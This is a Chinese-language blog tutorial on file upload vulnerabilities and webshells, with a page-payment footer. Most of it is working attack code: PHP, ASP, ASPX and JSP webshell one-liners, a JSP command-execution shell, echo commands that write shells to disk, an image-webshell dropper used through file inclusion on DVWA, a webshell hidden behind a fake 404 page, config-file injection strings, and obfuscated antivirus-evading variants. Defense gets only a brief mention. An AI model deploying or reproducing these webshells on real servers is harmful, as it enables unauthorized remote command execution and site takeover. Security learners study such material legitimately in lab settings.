一篇文章教你学会文件上传漏洞

Ⅰ、文件上传漏洞

一、原理以及定义:

文件上传漏洞是指用户上传了一个可执行的脚本文件(php、jsp、xml、cer、asp、aspx等文件),而 WEB 系统没有进行检测或逻辑做的不够安全。文件上传功能本身没有问题,问题在于上传后如何处理及解释文件。文件上传攻击是指攻击者利用 Web 应用对上传文件过滤不严的漏洞,将应用程序定义类型范围之外的文件上传到 Web 服务器,并且此类文件通常为木马,在上传成功后,攻击者即可获得当前的webshell。


二、入侵的条件:

(1)木马上传成功,未被杀; (2)知道木马的路径在哪; (3)上传的木马能正常运行。

只要满足这三个条件,就能实现成功入侵。


三、常见的一句话木马:
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
四、防御及绕过防御:

上传:

防御:前端验证、后端验证;文件内容检验。

绕过:1.文件后缀绕过----黑名单绕过、白名单绕过。2.文件内容绕过:图片马、免杀

绕过文件后缀后更高级的防御是文件内容绕过,一般都是免杀。当同时有文件包含漏洞时,可利用图片马提权。

上传后:1.上传后随机重命名,不要输出保存文件的位置。2.对文件保存目录取消执行权限

五、危害:

黑客向服务器直接上传木马,从而获取网站的权限。

六、命令行写入webshell:

1.Windows:

echo ^<? php @eval($_POST['x']); ?^> >shell.php

知识点:(1)^以转义字符的身份出现。因为在cmd环境中,有些字符具备特殊功能,如>、>>表示重定向,|表示管道,&、&&、||表示语句连接……它们都有特定的功度能,如果需要把它们作为字符输出知的话,echo >、echo | ……之类的写法就会出错——cmd解释器会把它们作为具有特殊功能的字符对待,而不会作为普通字符处理,这个时候,就需道要对这些特殊字符做转义处理:在每个特殊字符回前加上转义字符^答,因此,要输出这些特殊字符,就需要用 echo ^>、echo ^|、echo ^|^|、echo ^^……之类的格式来处理。此处转义<和>

(2) 此处^为什么不换成引号?因为windows写入时会把引号写进去

2.Linux:

echo '<? php @eval($_POST["x"]); ?>' >shell.php

知识点:$为linux系统的变量符号,原样输出字符串,不进行转义或取变量用单引号(此处否则会把$_POST当成变量处理),x用双引号是为了和单引号区分。


命令行写入一句话

linux:

echo -e "<?@include(\$_POST["c"]);?>" > webshell.cc.php

会再同目录下生成webshell.cc.php一句话 密码:c

win:

echo ^<%eval request("c")%^> >>webshell.cc.asp

会再同目录下生成webshell.cc.asp一句话 密码:c

Ⅱ、webshell总结

一、webshell(木马)

1.webshell概念

经常有客户的网站碰到被上传小马和大马,这里的“马”是木马的意思,可不是真实的马。 通常,攻击者利用文件上传漏洞,上传一个可执行并且能被解析的脚本文件,通过这个脚本来获得服务器端执行命令的能力,也就是我们经常听到的WebShell,而这个脚本文件就是我们常说的大马和小马。 1、都有些什么“马”? 小马 体积小,功能少,优点在于不易被发现,功能单一,常作为上传大马的跳板。 大马 体积大,功能强大,但是易被发现。 一句话木马 在小马和大马之外衍生出的另一种木马,只需短短一行代码,再结合WebShell工具(如菜刀、蚁剑、冰蝎等等)就能做到与大马能力相当的功能(执行命令行、文件上传、文件下载等功能)。

2.小马和一句话木马的区别和联系?

小马(Trojan Horse)是一种通过伪装成合法程序或文件而植入用户设备的恶意软件。一句话木马(One-Liner Trojan)是一种特殊类型的小马,它只包含一行代码,并利用操作系统的功能来执行恶意操作。

  1. 功能:小马通常具有多个功能,可以用于窃取敏感信息、远程控制被感染设备、植入其他恶意软件等。一句话木马的功能较为简单,通常用于远程控制被感染设备,例如执行命令、上传下载文件等。
  2. 传播方式:小马通常通过社交工程手段欺骗用户下载和执行,或者利用漏洞进行自动传播。一句话木马通常通过网络攻击手段,如利用服务器漏洞或钓鱼攻击等方式进行传播。
  3. 隐藏性:小马通常会尽可能隐藏自己的存在,以避免被用户察觉。一句话木马的代码非常短小,使其更容易隐藏在合法的脚本中,从而减少被发现的概率。

尽管小马和一句话木马有些相似之处,但它们的主要区别是一句话木马更注重简洁和高效,而小马则更多样化、功能更丰富。在实践中,一句话木马有时也可以作为一个小马的一部分使用。

3.一句话木马的优缺点

优点:短小精悍,功能强大。

缺点:容易被安全软件检测出来。为了增强隐蔽性,也出现了各种一句话木马的变形。

4.怎样搭建文件上传的靶场?

ps:一些关卡只能通过Windows搭建实现,一些关卡只能通过Linux搭建实现,因此两种搭建方式都需要。

1.windows的直接dvwa和upload-libs

2.linux系统用docker下载

 二、一句话木马

1.一句话木马定义

木马,全称特洛伊木马(Trojan Horse)是指寄宿在计算机里的一种非授权的远程控制程序。由于特洛伊木马程序能够在计算机管理员未发觉的情况下开放系统权限、泄漏用户信息、甚至窃取整个计算机管理使用权限,使得它成为了黑客们最为常用的工具之一。

一句话木马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能。一句话木马短小

精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着非常重要的角色。

一句话木马就是小马,由于防火墙拦截的时候是看包里面的内容,比如如果检测到你包里面有system这个关键字,就把你的请求给pass掉了,所以先上传内容简单的小马,获得对方机器的控制权限后再上传大码和不死马。从而扩大控制权限。

三、小马

1.概念

小马和大马都是网页类型中的一种后门,是通过用来控制网站权限的,那最主要的区别就是小马是用来上传大马的。通过小马上传大马,这时候有个疑问了,那不是多此一举了,为什么要用小马来上传大马,而干嘛不直接上传大马用好了。其实这里是因为小马体积小,有比大马更强的隐蔽优势,而且有针对文件大小上传限制的漏洞,所以才有小马,小马也通常用来做留备用后门等。

2.网页小马

小马体积非常小,只有2KB那么大,隐蔽性也非常的好,因为小马的作用很简单,就是一个上传功能,就没有其它的了,它的作用仅仅是用来上传文件,所以也能过一些安全扫描。小马是为了方便上传大马的,因为很多漏洞做了上传限制,大马上传不了,所以就只能先上传小马,再接着通过小马上传大马了。小马还可以通过与图片合成一起通过IIS漏洞来运行。

Java语言编写的后台咱们使用JSP木马,与前面的一句话木马不同,菜刀中JSP木马较长,以下是一个简单的JSP小马:

<%
    if("123".equals(request.getParameter("pwd"))){ 
   
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){ 
   
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

成功上传后如果能解析的话,请求:http://服务器IP:端口/Shell/cmd.jsp?pwd=123&i=ipconfig 即可执行命令。

四、大马

1.网页大马

大马的体积就比较大了,通常在50K左右,比小马会大好多倍,但对应的功能也很强大,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都非常强大。这种大马一旦网站被种了,网站基本就在这个大马控制之中。大马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。

中国菜刀的一句话不算,菜刀一句话通过客户端来操作也非常强大,一句话的代码可以和大马实现的一样。我们这里说的小马和大马是指网页类型中的,小马就是为了配合上传大马的,这是它最主要的作用,还有就是小马可以当做备用的后门来使用,一般大马容易被发现,而小马则更容易隐藏在系统的文件夹中。

来看看一个大马利用实例:在虚拟机中往DVWA上传PHP大马(源码附在最后):

访问木马文件123.php,提交密码123456后进入大马的功能列表,下图所示为文件管理功能:

继续访问下命令执行功能(其他功能不展示了):

大马:

📎DaMa.php

五、图片马

1.概念

在防御系数比较高的时候(DVWA靶场的high级别,但是也可利用文件包含漏洞)

木马如何才能上传成功?通常防御者都会对类型、大小、进行过滤。另外,若规定是上传的图片,还会对图片进行采集。即使攻击者修改文件类型,也过不了图片采集那一关(验证文件内容的一部分)。所以,这就需要一张图片来做掩护。做成隐藏在图片下的木马。linux和windows都有相应的命令,能够让一个文件融合到另一个文件后面,达到隐藏的目的。

可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是“*.jpg”、“.jpeg” 、“*.png”之一。同时,getimagesize()函数更是限制了上传文件的文件头必须为图像类型

2.制作图片马

我们需要将上传文件的文件头伪装成图片,首先利用copy命令将一句话木马文件Hack.php与正常的图片文件ClearSky.jpg合并:

【备注】以下为CMD下用copy命令制作“图片木马”的步骤,其中,ClearSky.jpg/b中“b”表示“二进制文件”,hack.php/a中“a”表示ASCII码文件。

生成带有木马的图片文件hack.jpg:

接着我们打开生成的图片木马文件,我们可以看到一句话木马已附在图片文件末尾:

然后我们试着将生成的木马图片文件hack.jpg上传,上传成功!!!

之后访问图片木马,但是由于是图片木马,PHP脚本并无法被解析,菜刀连接木马失败。


3.利用图片马

新的思路:结合DVWA靶场自带的文件包含漏洞即可成功上传PHP木马并上菜刀连接,下面进行攻击演示。首先通过上述方法制造新的图片木马,图片文件后面的PHP脚本更改为:

<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>

使用新的木马,上传到DVWA,然后借助文件包含漏洞模块访问该木马文件。此时在DVWA文件包含漏洞的路径下便自动生成了PHP一句话木马脚本文件muma.php;

此时再上菜刀连接,即可成功连接。至此,我们成功结合文件包含漏洞,在只能上传图片的文件上传功能处上传图片木马并生成一句话木马。

Ⅲ、一句话木马大全总结

一、PHP一句话木马

1、普通一句话木马:

<?php
@eval($_POST[123456]);
?>

2、防爆破一句话木马:

<?php
substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['password']);
?>
*菜刀地址http://192.168.64.137/x.php?x=myh0st

3、过狗一句话:

<?php
($_=@$_GET[s]).@$_($_POST[hihack])
?> //菜刀地址 http://localhost/1.php?s=assert
<php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]);
?>

4、404隐藏的一句话:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /error.php was not found on this server. </p>
</body></html>
<?php
@preg_replace("/[checksql]/e",$_POST['hihack'],"saft");
?>

菜刀连接时在配置栏添加:	
<O>date=@eval($_POST[paxmac]);</O>

5、不用问号(?)的一句话:

<script language="php">eval ($_POST[hihack]);</script>

6、躲避检测:

<?php assert($_REQUEST["hihack"]);?>

7、变形一句话后门:

二、ASP一句话木马

1、普通一句话:

<%eval request("hihack")%>或<%execute(request("hihack"))%>

2、unicode编码的access木马 :

向access数据库插入 ┼攠數畣整爠煥敵瑳∨≡┩> 编码前:<% execute request("a")%>
然后备份出webshell,密码a

3、配置文件插马(需要条件支持,插入的数据被写在了配置文件中):

插入:"%><% bbbb=request("aaaa")%><%eval(bbbb)%><%'
访问报错,获取到配置文件的地址,然后连接,密码aaaa

4、不用%的一句话:

<script language=VBScript runat=server>execute request("hihack")</script>

5、不用双引号(“)的一句话:

<%eval request(chr(35))%> 密码:#

三、ASPX一句话木马

1、普通一句话:

<%@ Page Language=”Jscript”%> <%eval(Request.Item[“hihack”],”unsafe”);%>

 Ⅳ、木马免杀

一、木马免杀

就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来。而且,还会很明确的说这是后门。因此,作为攻击者就得会各种免杀技巧。防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全人员立马将这玩意儿放入黑名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。

二、免杀思路

1、将源代码进行再次编码。

<?php
$a=range(1,200);
$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);
assert(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]);
?>

2、将那一句话木马进行base64编码,存放在”乱七八糟”的代码中,直接看图:

3、还是一句话木马,进行变形,只不过,这次的变形是在数组中键值对变形。很强。

不得不说,免杀的思路真是越猥琐,越好。研究起来非常有意思。以后等我渗透熟练了,会好好研究一下PHP代码的各种免杀技巧。很好玩,思路很猥琐。

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值